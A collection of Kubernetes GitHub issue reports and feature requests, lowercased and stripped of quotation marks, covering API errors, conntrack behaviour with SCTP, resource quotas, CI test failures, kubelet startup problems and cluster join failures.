codec:runtime.codec nil , transformer:value.transformer nil , compactioninterval:300000000000}\r i0802 17:20:48.335005       1 compact.go:54  compactor already exists for endpoints  https://172.26.0.5:2379 https://172.26.0.6:2379 https://172.26.0.7:2379 \r i0802 17:20:48.335026       1 storage_factory.go:48  storage caching is enabled for  scheduling.priorityclass with capacity 100\r i0802 17:20:48.335248       1 master.go:430  enabling api group \ scheduling.k8s.io\ .\r    \r    \r i0802 17:20:48.357050       1 compact.go:54  compactor already exists for endpoints  https://172.26.0.5:2379 https://172.26.0.6:2379 https://172.26.0.7:2379 \r i0802 17:20:48.357072       1 storage_factory.go:48  storage caching is enabled for  extensions.replicaset with capacity 100\r e0802 17:20:48.364412       1 cacher.go:272  unexpected listandwatch error: storage/cacher.go:/priorityclasses: failed to list  scheduling.priorityclass: no kind \ priorityclass\  is registered for version \ scheduling.k8s.io/v1beta1\ \r i0802 17:20:48.378444       1 storage_factory.go:278  storing {apps controllerrevisions} in apps/v1beta1, reading as apps/__internal from storagebackend.config{type:\ \ , prefix:\ /registry\ , serverlist:  string{\ https://172.26.0.5:2379\ , \ https://172.26.0.6:2379\ , \ https://172.26.0.7:2379\ }, keyfile:\ /etc/kubernetes/ssl/etcd-key.pem\ , certfile:\ /etc/kubernetes/ssl/etcd.pem\ , cafile:\ /etc/kubernetes/ssl/etcd-ca.pem\ , quorum:true, paging:true, deserializationcachesize:1000, codec:runtime.codec nil , transformer:value.transformer nil , compactioninterval:300000000000}\r    \r   curl http://172.26.0.5:8080/apis/scheduling.k8s.io/v1alpha1  \r    \r {\r   \ kind\ : \ apiresourcelist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ groupversion\ : \ scheduling.k8s.io/v1alpha1\ ,\r   \ resources\ :  \r     {\r       \ name\ : \ priorityclasses\ ,\r       \ singularname\ : \ \ ,\r       \ namespaced\ : false,\r       \ kind\ : \ priorityclass\ ,\r       \ verbs\ :  \r         \ create\ ,\r         \ delete\ ,\r         \ deletecollection\ ,\r         \ get\ ,\r         \ list\ ,\r         \ patch\ ,\r         \ update\ ,\r         \ watch\ \r        ,\r       \ shortnames\ :  \r         \ pc\ \r        \r     }\r    \r }\r    \r   curl http://172.26.0.5:8080/apis/scheduling.k8s.io/v1alpha1/priorityclasses  \r    \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ no kind \\\ priorityclass\\\  is registered for version \\\ scheduling.k8s.io/v1beta1\\\ \ ,\r   \ code\ : 500\r }\r    \r   restart etcd or apiserver wouldn't help.  \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   v1.9.6\r   goversion:\ go1.9.2\ \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r i have the k8s 1.12.1 deployment with sctp support implementation from  64973. i have faced an issue while running sctp traffic and it’s the same issue as  19029 with upd protocol. sctp conntrack doesn’t flush entries for deleted pods. thus associations which were established on that deleted pod can not be reestablished since conntrack still tries to route all the sctp packets  init/data  to not existent ip. unless the association is explicitly aborted from remote side  this way conntrack will delete the entry .\r reproduction steps are the same as in udp case:\r 1.\tcreate a service for sctp port\r 2.\tcreate pods that bind to this service \r 3.\tstart a client pod that uses the service. this client establishes sctp association to the service and sends data via this assoc\r 4.\tcheck which pod handles all the traffic in scope of the association  collect tcpdump for example \r 5.\tdelete that service endpoint by, for example, killing the corresponding pod which the client is communicating with\r 6.\tobserve that the pod's ip no longer appears in endpoints  e.g. using kubectl \r 7.\tbug: observe that conntrack still nats all sctp traffic to deleted endpoint.\r 8.\tworkaround 1: use client pod to explicitly abort and reestablish the association.\r 9.\tworkaround 2: use conntrack –d to manually remove the entity in conntrack hash table\r i guess the solution will be just the same as  here  https://github.com/kubernetes/kubernetes/pull/22573/commits/4fa6f3841ad362844c3c1e04c8657cacad5decde diff-d51765b83fe795b469e8a86276b12dc9r591  and  here  https://github.com/kubernetes/kubernetes/pull/22573/commits/4fa6f3841ad362844c3c1e04c8657cacad5decde diff-d51765b83fe795b469e8a86276b12dc9r608 . reusing these functions for sctp protocol . basically it’s just adding api.protocolsctp into a couple of checks in solution  22573\r

<!-- please only use this template for submitting enhancement requests -->\r moving a thread from sig-scheduling slack to here.\r \r   what would you like to be added  :\r \r some resource quota limits should be evaluated lazily in the scheduler instead of eagerly during pod submission. for example, if a namespace rq limits a user to 1 cpu, that user should be able to submit n number of 1 cpu pods and they should execute one at a time.  with current implementation any requests beyond the initial 1 cpu pod will be immediately rejected  i.e. eager evaluation of the quota .\r \r limits on cpu, ram, and extended resources such as gpu are examples of quotas which should have a \ soft\  limit which is evaluated lazily and enforced by the scheduler\r \r limits on number of items  such as number of pods/configmaps/etc.  are example of quotas which should probably be evaluated eagerly\r \r   why is this needed  :\r \r from an end users perspective; if i submit a pod and the cluster is saturated or my pod is unschedualable for any other reason my request is accepted and held in the queue for scheduling. however, if my namespace is saturated due to rqs or my request is unscheduable because my request is larger than my quota, my request is rejected immediately. these behaviors are inconsistent for the end user.\r \r in the run-to-completion world, this is a common issue. people do not use pods, as in the example but they use jobs or some other type of controller to manage their pods. because of the inconsistent behavior each of these controller implementations need to be _quota aware_  in order to handler the latter part of my example above. \r \r <!-- do not edit below this line -->\r 

it would be nice if an e2e test dumped all existing pvs and also all events on these pvs when the test fails. especially on gke i am completely blind, as i don't have controller-manager logs for dynamic provisioning errors.  see  32492 for an example.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/131/  failed: listresources before {e2e.go}      failed to list resources  exit status 1 : project: k8s-jkns-e2e-gce-federation region:  zone:  instance prefix: bootstrap-e2e network: bootstrap-e2e provider: gce     instance-templates        instance-groups        instances        disks        addresses        routes          previous issues for this test:  34755

failure cluster  5ddf6734d51cae63b480  https://go.k8s.io/triage 5ddf6734d51cae63b480        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ flaky\\  --ginkgo.skip=\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    90 builds failed. failure stats cover 1 day time range '4 may 2017 18:54 utc' to '5 may 2017 18:54 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-flaky | 50 |  5 may 2017 18:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-flaky/3589  | | ci-kubernetes-e2e-gci-gce-flaky | 40 |  5 may 2017 18:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-flaky/3343  |   current status  https://go.k8s.io/triage 5ddf6734d51cae63b480

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : v1.envfromsource, envfrom\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.4\r \r \r   environment  : kubernetes-1.6.4\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 14.04.5 lts\r -   kernel    e.g.  uname -a  : 3.13.0-116-generic\r -   install tools  : kops-1.6.0\r -   others  : kubectl-1.6.4\r \r \r   what happened  : i get the following error:\r    \r error validating data: found invalid field name for v1.envfromsource; if you choose to ignore these errors, turn validation off with --validate=false\r    \r for the following config:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: encompass-app\r   namespace: defaul\r   labels:\r     app: encompass-app\r spec:\r   containers:\r   - name: encompass-app\r     image: radial/busyboxplus:curl\r     imagepullpolicy: ifnotpresent\r     envfrom:\r     - configmapref:\r       name: encompass-app-init\r ...\r    \r the  encompass-app-init  configmap has already been created in the same namespace.\r \r   what you expected to happen  : i expect the env vars for the pod to get populated from the configmap referenced as per the documentation: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ configure-all-key-value-pairs-in-a-configmap-as-pod-environment-variables\r \r \r   how to reproduce it    as minimally and precisely as possible :  you can use the code snippet provided.\r \r \r   anything else we need to know  :  i get the same error with the example from your docs: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ configure-all-key-value-pairs-in-a-configmap-as-pod-environment-variables\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: dapi-test-pod\r spec:\r   containers:\r     - name: test-container\r       image: gcr.io/google_containers/busybox\r       command:   \ /bin/sh\ , \ -c\ , \ env\   \r       envfrom:\r       - configmapref:\r         name: special-config\r   restartpolicy: never\r    \r \r \r

currently, we don't generate the openapi spec for registered crds. we should at least show the existence of the registered groups in the spec.\r \r we should probably implement this before going ga  ? \r \r /cc @sttts @mbohlool @deads2k @liggitt \r \r   /area custom-resources

is this a bug report or feature request?  :\r  \r   what happened  :\r \r i can upload a secret with keys that do not match  dns_subdomain .\r \r the documentation for secrets states:\r    \r the data field is a map. its keys must match dns_subdomain, except that leading dots are also allowed. the values are arbitrary data, encoded using base64.\r    \r source: https://kubernetes.io/docs/concepts/configuration/secret/\r \r   what you expected to happen  :\r \r either:\r - the documentation should not state dns_subdomain is a requirement\r or\r - the kubernetes api rejects invalid secret keys\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply this secret:\r \r    \r apiversion: v1\r data:\r     foo_bar=bar\r   foo_bar: qkfs\r kind: secret\r metadata:\r   name: test-secret\r   namespace: default\r type: opaque\r    \r \r   environment  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:36:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r -   cloud provider or hardware configuration:   aws\r -   os  e.g. from /etc/os-release :   \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel  e.g.  uname -a  :  \r  linux ip-10-108-95-220 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux \r \r -   install tools:  \r kops\r

in 1.9 we introduced pvcprotection feature and admission plugin - user should not delete pvcs that are used by running pods, therefore kubernetes protects them with finalizers.\r \r in 1.10 we added protection of pvs - admin should not delete pvs that are bound to pvcs  unless they explicitly use some force, of course .\r \r i don't want to have separate features and admission plugins for each object kind we protect, this can escalate quickly into storageclassprotection and whatnot. i suggested name storageprotection for admission plugin and feature. @thockin thinks that it's misleading, as we don't protect any storage, only kubernetes api objects. what is better name?\r \r   objectinuseprotection - will we  or someone else  enhance the controller / admission plugins to something non-storage related? it could be useful to have a controller that prevents deletion of x when y that refers to x exists.\r   storageobjectinuseprotection?\r   pvpvcprotection?\r \r \r /bug\r  @kubernetes/sig-storage-pr-reviews \r @nickrenren @pospispa

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  building high-availability clusters  https://kubernetes.io/docs/admin/high-availability/building/  docs recommend using '--leader-elect' to have ha setup for kube-scheduler and kube-controller-manager. however, these two components approach differently what is default value for the flag.  kube-controller-manager sets it to true  https://kubernetes.io/docs/reference/generated/kube-controller-manager/ .  kube-schedulers sets it to false  https://kubernetes.io/docs/reference/generated/kube-scheduler/ .\r \r seems that setting the value to true in kube-scheduler code was lost in refactoring scheduler api config in efb2bb71cd. the code before refactoring had the value  set to true  https://github.com/kubernetes/kubernetes/commit/efb2bb71cd4dede007289634bfe3c51484625ba9 diff-809dde23edc35bf4c46cdfea08e9abdcl62 .\r \r \r   what you expected to happen  :\r \r kube-scheduler set true as a default value for '--leader-elect'\r \r   environment  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ archive\ , builddate:\ 2018-01-10t13:28:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ archive\ , builddate:\ 2018-01-10t13:28:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r

 \r the configuration specs for apiservices and the admission webhook configurations are very similar, but apiservices don't support specifying url:\r \r  apiservicespec  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kube-aggregator/pkg/apis/apiregistration/types.go l41 :\r    \r type apiservicespec struct {\r \t// service is a reference to the service for this api server.  it must communicate\r \t// on port 443\r \t// if the service is nil, that means the handling for the api groupversion is handled locally on this server.\r \t// the call will simply delegate to the normal handler chain to be fulfilled.\r \tservice  servicereference  json:\ service\  protobuf:\ bytes,1,opt,name=service\  \r ...\r \t// insecureskiptlsverify disables tls certificate verification when communicating with this server.\r \t// this is strongly discouraged.  you should use the cabundle instead.\r \tinsecureskiptlsverify bool  json:\ insecureskiptlsverify,omitempty\  protobuf:\ varint,4,opt,name=insecureskiptlsverify\  \r \t// cabundle is a pem encoded ca bundle which will be used to validate an api server's serving certificate.\r \t// +optional\r \tcabundle   byte  json:\ cabundle,omitempty\  protobuf:\ bytes,5,opt,name=cabundle\  \r ...\r }\r    \r \r  webhookclientconfig  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/admissionregistration/v1beta1/types.go l222   from validating/mutatingwebhookconfiguration :\r    \r type webhookclientconfig struct {\r \t//  url  gives the location of the webhook, in standard url form\r \t//    scheme:// host:port/path  . exactly one of  url  or  service \r \t// must be specified.\r \t//\r \t// the  host  should not refer to a service running in the cluster; use\r \t// the  service  field instead. the host might be resolved via external\r \t// dns in some apiservers  e.g.,  kube-apiserver  cannot resolve\r \t// in-cluster dns as that would be a layering violation .  host  may\r \t// also be an ip address.\r \t//\r \t// please note that using  localhost  or  127.0.0.1  as a  host  is\r \t// risky unless you take great care to run this webhook on all hosts\r \t// which run an apiserver which might need to make calls to this\r \t// webhook. such installs are likely to be non-portable, i.e., not easy\r \t// to turn up in a new cluster.\r \t//\r \t// the scheme must be \ https\ ; the url must begin with \ https://\ .\r \t//\r \t// a path is optional, and if present may be any string permissible in\r \t// a url. you may use the path to pass an arbitrary string to the\r \t// webhook, for example, a cluster identifier.\r \t//\r \t// attempting to use a user or basic auth e.g. \ user:password@\  is not\r \t// allowed. fragments  \  ...\   and query parameters  \ ?...\   are not\r \t// allowed, either.\r \t//\r \t// +optional\r \turl  string  json:\ url,omitempty\  protobuf:\ bytes,3,opt,name=url\  \r \r \t//  service  is a reference to the service for this webhook. either\r \t//  service  or  url  must be specified.\r \t//\r \t// if the webhook is running within the cluster, then you should use  service .\r \t//\r \t// port 443 will be used if it is open, otherwise it is an error.\r \t//\r \t// +optional\r \tservice  servicereference  json:\ service\  protobuf:\ bytes,1,opt,name=service\  \r \r \t//  cabundle  is a pem encoded ca bundle which will be used to validate\r \t// the webhook's server certificate.\r \t// required.\r \tcabundle   byte  json:\ cabundle\  protobuf:\ bytes,2,opt,name=cabundle\  \r }\r    \r \r the lack of a url config in apiservice can be worked around by creating a selector-less service and populating it with the url you want, but this shouldn't be necessary.

i am trying to get kubernetes up and running. i've installed kubernetes and its ran command  kubeadm init  which failed due to  kubelet  not being able to start up.\r \r used  journalctl -u kubelet.service  which output a massive log, ending up with\r \r    \r oct 27 01:10:25 server kubelet 7435 :       --volume-stats-agg-period duration                                                                          specifies interval for kubelet to calculate and cache the>\r oct 27 01:10:25 server kubelet 7435 : f1027 01:10:25.247033    7435 server.go:155  unknown command: /etc/kubernetes/kubelet.kubeconfig\r oct 27 01:10:25 server systemd 1 : kubelet.service: service restartsec=100ms expired, scheduling restart.\r oct 27 01:10:25 server systemd 1 : kubelet.service: scheduled restart job, restart counter is at 5.\r oct 27 01:10:25 server systemd 1 : stopped kubernetes kubelet server.\r oct 27 01:10:25 server systemd 1 : kubelet.service: start request repeated too quickly.\r oct 27 01:10:25 server systemd 1 : kubelet.service: failed with result 'exit-code'.\r oct 27 01:10:25 server systemd 1 : failed to start kubernetes kubelet server.\r    \r \r here is contents of  /etc/kubernetes  dir:\r    \r drwx------  2 root root 4.0k oct 27 01:11 manifests\r drwxr-xr-x  3 root root 4.0k oct 27 01:11 pki\r -rw-------  1 root root 5.4k oct 27 01:11 admin.conf\r -rw-r--r--  1 root root  773 oct 27 00:33 apiserver\r -rw-r--r--  1 root root  655 oct 27 00:33 config\r -rw-r--r--  1 root root  189 oct 27 00:33 controller-manager\r -rw-------  1 root root 5.4k oct 27 01:11 controller-manager.conf\r -rw-r--r--  1 root root  547 oct 27 00:33 kubelet\r -rw-------  1 root root 5.4k oct 27 01:11 kubelet.conf\r -rw-r--r--  1 root root  188 oct 27 00:33 kubelet.kubeconfig\r -rw-r--r--  1 root root  103 oct 27 00:33 proxy\r -rw-r--r--  1 root root  111 oct 27 00:33 scheduler\r -rw-------  1 root root 5.4k oct 27 01:11 scheduler.conf\r    \r \r so  kubelet.kubeconfig  exists\r \r i've installed kubernetes via https://aur.archlinux.org/kubernetes.git\r and used makepkg -si to build.\r \r   what you expected to happen  :\r  kubelet  to run\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : arch linux\r - kernel  e.g.  uname -a  :  linux server 4.18.16-arch1-1-arch  1 smp preempt sat oct 20 22:06:45 utc 2018 x86_64 gnu/linux \r - install tools: makepkg 5.1.1\r - others: go version: go version go1.10.3 linux/amd64\r \r  \r <!-- do not edit below this line -->\r 

-  pkg/apiserver/api_installer.go  is generic  or should be made generic  -  cmd/kube-apiserver/app/server.go :   - newetcd should be moved to a genericapiserver/etcd package or something   - all the if blocks   if !apigroupversionoverrides \ extensions/v1beta1\  .disable {   should be refactored into something that operates in a loop over a map or something, and moved to the generic apiserver

this would help loadbalancers. the simplest way to do it  but in no way the only  is through a boolean on the port.       yaml   ports:   - port: 8080     targetport: 8080     healthcheck: true     protocol: tcp     name: healthz      which means the frontend loadbalancer looks up the endpoints matching this service, and adopts their tcp/http readiness probe as a health check.  - all endpoints behind the service must have _the same_ tcp/http readiness probe on the given port - \ ready\  endpoints that don't respond on healthcheck don't get service traffic - an exec probe on the healthcheck endpoint is a failure  if kube-proxy respected this we could layer services  eg: a service with all members for reads, and a service with just 1 member for writes .   @kubernetes/sig-network

hi,  i have problem with pvc creation in case when i want to determine either matchlabels or matchexpressions.  the error message is always the same for both selectors: error validating \ persistentvolumeclaim.yaml\ : error validating data: unexpected type: unversioned.labelselector; if you choose to ignore these errors, turn validation off with --validate=false  below you can find version which currently i am using: server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4+coreos.0\ , gitcommit:\ be9bf3e842a90537e48361aded2872e389e902e7\ , gittreestate:\ clean\ }  thanks, adam

kubernetes version  :\r \r    \r  qserv@lsst-fabricejammes-qserv-swarm-1 ~ $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : \r \r    \r  qserv@lsst-fabricejammes-qserv-swarm-1 ~ $ cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r -   kernel  :\r    \r  qserv@lsst-fabricejammes-qserv-swarm-1 ~ $ uname -a\r linux lsst-fabricejammes-qserv-swarm-1 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r \r centos install tools for kudeadm\r \r -   others  :\r \r \r   what happened  :\r \r k8s nodes can't sometimes join k8s cluster, whereas it works most of the time.\r \r    \r join lsst-fabricejammes-qserv-master-1 to kubernetes cluster                                                                                                                                              343/9124 \r + ssh -t -f /home/qserv/src/qserv/admin/tools/docker/deployment/kubernetes/ssh_config lsst-fabricejammes-qserv-master-1 'sudo kubeadm join --token=4d99df.d0e5b80989e36076 172.16.1.235'\r  kubeadm  warning: kubeadm is in alpha, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  tokens  validating provided token\r  discovery  created cluster info discovery client, requesting info from \ http://172.16.1.235:9898/cluster-info/v1/?token-id=4d99df\ \r  discovery  cluster info object received, verifying signature using given token\r  discovery  cluster info signature and contents are valid, will use api endpoints  https://172.16.1.235:6443 \r  bootstrap  trying to connect to endpoint https://172.16.1.235:6443\r  bootstrap  detected server version: v1.5.2\r  bootstrap  successfully established connection with endpoint \ https://172.16.1.235:6443\ \r  csr  created api client to obtain unique certificate for this node, generating keys and certificate signing request\r  csr  received signed certificate from the api server:\r issuer: cn=kubernetes | subject: cn=system:node:lsst-fabricejammes-qserv-master-1 | ca: false\r not before: 2017-01-16 10:47:00 +0000 utc not after: 2018-01-16 10:47:00 +0000 utc\r  csr  generating kubelet configuration\r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r \r node join complete:\r   certificate signing request sent to master and response\r   received.\r   kubelet informed of new secure connection details.\r \r run 'kubectl get nodes' on the master to see this machine join.\r connection to 172.16.1.230 closed.\r + for qserv_node in '$master' '$workers'\r + echo 'join lsst-fabricejammes-qserv-worker-1 to kubernetes cluster'\r join lsst-fabricejammes-qserv-worker-1 to kubernetes cluster\r + ssh -t -f /home/qserv/src/qserv/admin/tools/docker/deployment/kubernetes/ssh_config lsst-fabricejammes-qserv-worker-1 'sudo kubeadm join --token=4d99df.d0e5b80989e36076 172.16.1.235'\r  kubeadm  warning: kubeadm is in alpha, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  tokens  validating provided token\r  discovery  created cluster info discovery client, requesting info from \ http://172.16.1.235:9898/cluster-info/v1/?token-id=4d99df\ \r  discovery  cluster info object received, verifying signature using given token\r  discovery  cluster info signature and contents are valid, will use api endpoints  https://172.16.1.235:6443 \r  bootstrap  trying to connect to endpoint https://172.16.1.235:6443\r  bootstrap  detected server version: v1.5.2\r  bootstrap  successfully established connection with endpoint \ https://172.16.1.235:6443\ \r  csr  created api client to obtain unique certificate for this node, generating keys and certificate signing request\r failed to request signed certificate from the api server  cannot create certificate signing request: client: etcd member http://127.0.0.1:2379 has no leader \r connection to 172.16.1.232 closed.\r    \r \r   what you expected to happen  :\r \r node to join kubernetes cluster\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r git  clone git@github.com:lsst/qserv.git\r cd qserv\r git checkout tickets/dm-8408\r cd admin/tools/provision/\r   see readme.md and edit lsst-openrc.example.sh and lsst.example.conf\r ./provision-install-test.sh -pk\r    \r   anything else do we need to know  :\r \r

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r bare metal nodes\r -   os    e.g. from /etc/os-release :\r \r ubuntu 16.04 x64\r -   kernel    e.g.  uname -a  :\r \r  linux node1 4.4.0-38-generic  57-ubuntu smp \r \r   what happened  :\r k8s tried to create a node port and hit a situation when this node port was already used.\r so it reported this error:\r    \r e0203 14:08:15.591906       1 proxier.go:1108  can't open \ nodeport for ccp/memcached:11211\   :34104/tcp , skipping this nodeport: listen tcp :34104: bind: address already in use\r    \r \r and that service iptables rules were incomplete, which leads to non-working service from this node.\r \r   how to reproduce it    as minimally and precisely as possible :\r make a node-ports range really small, like 1 ip, bind something to this port and after try to create a service with node port.\r \r   what you expected to happen  :\r not sure, probably a retry, or probe first. and some kind of visible error, like service creation failer.\r \r other possible solution is to set  net.ipv4.ip_local_reserved_ports  to the node ports range. or at least add this to the documentation, like os pre-requirements.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?   :  how to run e2e tests on a platform other than amd64 \r \r ---\r \r   kubernetes version    use  kubectl version  : 1.6.1\r \r \r   environment  : \r -   cloud provider or hardware configuration  : na\r -   os    e.g. from /etc/os-release :  \ ubuntu\  \ 16.04.1 lts  xenial xerus \ \r -   kernel    e.g.  uname -a  :  s390x gnu/linux\r -   install tools  : na\r -   others  : na\r \r \r   what happened  :   i have to run e2e tests on s390x platform \r \r \r   what you expected to happen  :  for implementing ci on s390x i was trying to run e2e tests on s390x platform. but most of the tests are failing due to kubernetes download docker images of amd64 architecture. is there any flag or configuration file where i can make a change and run the e2e tests for s390x?

https://k8s-testgrid.appspot.com/release-1.7-blocking gce-federation-release-1-7\r \r seems some quota issue? @madhusudancs \r    \r w0608 21:58:34.547  attempt 5 failed to create static ip prow-us-central1-f-master-ip. retrying.\r w0608 21:59:20.867  error:  gcloud.compute.addresses.create  some requests did not succeed:\r w0608 21:59:20.868   - quota 'static_addresses' exceeded. limit: 2.0\r w0608 21:59:20.868  \r w0608 21:59:21.546  failed to create static ip prow-us-central1-f-master-ip \r    \r \r cc @dchen1107 @caesarxuchao \r \r \r

failure cluster  b9e2d555dd92fa5efab6  https://go.k8s.io/triage b9e2d555dd92fa5efab6        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 jun 26 22:43:02.448: failed to find expected endpoints: tries 0 command timeout -t 15 curl -q -s --connect-timeout 1 http://10.100.3.114:8080/hostname retrieved map   expected map netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:273           failure cluster statistics: 1 tests failed,    12 jobs failed,    159 builds failed. failure stats cover 1 day time range '30 jun 2017 22:23 utc' to '1 jul 2017 22:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  | 12 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-updown | 33 |  1 jul 2017 21:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-updown/23192  | | ci-kubernetes-e2e-gci-gke-updown | 32 |  1 jul 2017 21:41 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/20701  | | ci-kubernetes-e2e-gke | 21 |  1 jul 2017 21:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11731  |  <details><summary>rationale for 